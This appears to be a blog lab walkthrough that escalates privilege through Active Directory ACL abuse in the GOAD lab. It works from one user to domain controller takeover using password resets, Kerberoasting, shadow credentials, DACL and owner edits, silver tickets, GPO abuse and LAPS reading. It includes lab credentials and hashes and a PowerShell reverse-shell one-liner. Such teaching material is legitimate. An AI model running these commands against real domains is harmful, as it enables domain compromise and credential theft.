On the previous post (Goad pwning part10) we did some exploitation by abusing delegation. On this blog post, we will have fun with ACL in the lab.
In active directory, objects right are called Access Control Entries (ACE), a list of ACE is called Access Control List (ACL).
Lab ACL update
By default on Active Directory protected groups are reset every hours with the ACL values stored on “CN=AdminSDHolder,CN=System,DC=yourdc”
Protected groups and Associated users are affected
- Account Operators
- Administrator
- Administrators
- Backup Operators
- Domain Admins
- Domain Controllers
- Enterprise Admins
- Krbtgt
- Print Operators
- Read-only Domain Controllers
- Replicator
- Schema Admins
- Server Operators
- The new ACL overview in the lab is this one :
1
| MATCH p=(u)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' and u.admincount=false and not tolower(u.name) contains 'key' RETURN p
|
sevenkingdoms.local ACL
To start we will focus on the sevenkingdoms killchain of ACL by starting with tywin.lannister (password: powerkingftw135)
- The path here is :
- Tywin -> Jaime : Change password user
- Jaime -> Joffrey : Generic Write user
- Joffrey -> Tyron : WriteDacl on user
- Tyron -> small council : add member on group
- Small council -> dragon stone : write owner group to group
- dragonstone -> kingsguard : write owner to group
- kingsguard -> stannis : Generic all on User
- stannis -> kingslanding : Generic all on Computer
- Let’s try to do all the path from tywin to kingslanding domain controler :)
Reminder : Abusing ACL make change on the targets. Be sure to you know what you are doing if you try to exploit it during an audit.
ForceChangePassword on User (Tywin -> Jaime)
1
| net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local
|
- We set the new jaime password.
- And verify the password is ok.
1
| cme smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p pasdebraspasdechocolat
|
GenericWrite on User (Jaime -> Joffrey)
- As we just set up jaime password we will now exploit the GenericWrite from Jaime to Joffrey
- This could be abuse with 3 different technics :
- shadowCredentials (windows server 2016 or +)
- targetKerberoasting (password should be weak enough to be cracked)
- logonScript (this need a user connection and to be honest it never worked or unless with a script already inside sysvol)
Target Kerberoasting
1
| targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p pasdebraspasdechocolat --request-user joffrey.baratheon
|
- And now just crack the hash
1
| hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force
|
Shadow Credentials
This was already done previously in this blog, one of the fastest exploitation is with certipy:
1
| certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'
|
Logon script
- To show the scriptpath ldap value instead of ldapsearch we can use the tool ldeep
1
| ldeep ldap -u jaime.lannister -p 'pasdebraspasdechocolat' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath
|
- We can change this value with the following script:
1
2
3
4
5
6
7
8
9
10
| import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "pasdebraspasdechocolat"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'scriptpath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.1\share\exploit.bat')]})
print(ldap_con.result)
ldap_con.unbind()
|
but sadly this won’t work… :’( (if you know why please let me know, this seems to work only if the script is already located in sysvol)
Another way to abuse the GenericWrite is by changing the profilePath and wait for a connection to get a NetNtlmv2 authentication and relay to another computer or crack it.
Change the value of profilePath with the following script :
1
2
3
4
5
6
7
8
9
10
| import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "pasdebraspasdechocolat"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.1\share')]})
print(ldap_con.result)
ldap_con.unbind()
|
- Start responder and simulate joffrey connection by starting an RDP connection
1
2
| responder -I vboxnet0
xfreerdp /d:sevenkingdoms.local /u:joffrey.baratheon /p:'1killerlion' /v:192.168.56.10 /size:80% /cert-ignore
|
- And we get the NetNLMV2 hash of joffrey.baratheon and… kingslanding$ !
WriteDacl on User (Joffrey -> Tyron)
1
2
3
| git clone https://github.com/ThePorgs/impacket.git
cd impacket
python3 setup.py install
|
1
| dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
|
- Ok now change the permission to “FullControl” and see the modification
1
| dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
|
- Ok now we can :
- change tyron password
- do a target kerberoasting
- do a shadow credentials
- Let’s just use shadowcredentials :
1
| certipy shadow auto -u joffrey.baratheon@sevenkingdoms.local -p '1killerlion' -account 'tyron.lannister'
|
Add self on Group (Tyron -> Small Council)
- We now got tyron so we can add us into the small council group
- First find the distinguished name
1
2
| ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName
|
- Add tyron to Small Council
1
| ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"
|
1
| ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'
|
AddMember on Group (Small Council -> dragonstone)
- Now as tyron we are in the small council, so we can add a member to dragonstone’s group.
- So we just add tyron just like we did before
1
| ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"
|
WriteOwner on Group (dragonstone -> kingsguard)
- Now with the writeOwner privilege we can change the owner of kingsguard to own the group
- Just like before we will use the impacket fork
1
2
| owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
owneredit.py -action write -owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
|
- And the owner of kingsguard group is now tyron.lannister
- As owner of the group we can now change the acl and give us GenericAll on the group
1
| dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':b3b3717f7d51b37fb325f7e7d048e998'
|
- With GenericAll now we can add tyron to the kingsguard group
1
| ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
|
Generic all on user (kingsguard -> stannis)
- Now tyron is in kingsguard so we can take the control of stannis with the genericAll on stannis
- let’s change stannis password with ldeep
1
| net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 -S kingslanding.sevenkingdoms.local
|
- We will set the password
Drag0nst0ne
(i know it is the same as before but i didn’t want to change the screenshots in the next part :p )
GenericAll on Computer (Stannis -> kingslanding)
- Now we own stannis, let’s finish the domain with the generic Write on the DC
We already done that on the previous chapter. One way to abuse of this permission is by using Resource Based Constrained Delegation (Goad pwning part10)
But what if you can’t add a computer in the domain (more and more customers disable the ability for a simple user to add computer to the domains and this is a good practice from a security point of view), you can do a shadow credentials attack on the computer.
So if ADCS is enabled on the domain, and we got write privilege on msDS-KeyCredentialLink, we can do the shadow credentials attack to get a direct access on the target account. (just like what we did in Goad pwning part5)
Shadow credentials is now include with certipy (this attack can also be done with pywisker )
1
| certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -p 'Drag0nst0ne' -account 'kingslanding$'
|
machine account to administrator shell
s4u2self abuse
- s4u2self abuse : we ask for a TGS as the Administrator domain user
1
2
| export KRB5CCNAME=/workspace/acl/kingslanding.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'
|
- And than we use that ticket to connect as administrator
1
2
| export KRB5CCNAME=/workspace/acl/Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
|
Silver ticket
1
| lookupsid.py -hashes ':33a43e326dad53a516dc06393281d2cc' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0
|
- Create the silver ticket:
1
| ticketer.py -nthash '33a43e326dad53a516dc06393281d2cc' -domain-sid 'S-1-5-21-1409754491-4246775990-3914137275' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator
|
1
2
| export KRB5CCNAME=/workspace/acl/Administrator.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
|
Ok the fun with sevenkingdoms.local domain is over, now let’s try some acl in the other domains.
GPO abuse
- There is a GPO abuse on the north domain
- To abuse GPO we will use the project created by Hackndo : pyGPOAbuse
- The github readme file say : “It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.”
1
2
3
4
| git clone https://github.com/Hackndo/pyGPOAbuse.git
python3 -m virtualenv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
|
- We get the id from bloodhound and launch the exploit with :
1
| python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "6F8BD644-2C29-418C-93F1-FE926F91F6B4"
|
- If we take a look in the windows GUI we will see the schedule task created :
- If we wait few minutes or if we run a
gpudate /force
we will see the new local admin user
- Now let’s try to get a powershell reverseshell
1
| python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "6F8BD644-2C29-418C-93F1-FE926F91F6B4" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s.Write(\$sb,0,\$sb.Length); \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "don't worry"
|
- And a few moments later we get the powershell reverseshell
pyGPOAbuse is changing the GPO without going back ! Do not use in production or at your own risk and do not forget to cleanup after
Read Laps password
- To read LAPS password, the easy way is with the cme module
1
| cme ldap 192.168.56.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps
|
Resources:
Next time, this will be the last blog post of the GOAD writeup series. And it will be on Trusts exploitation (Goad pwning part12)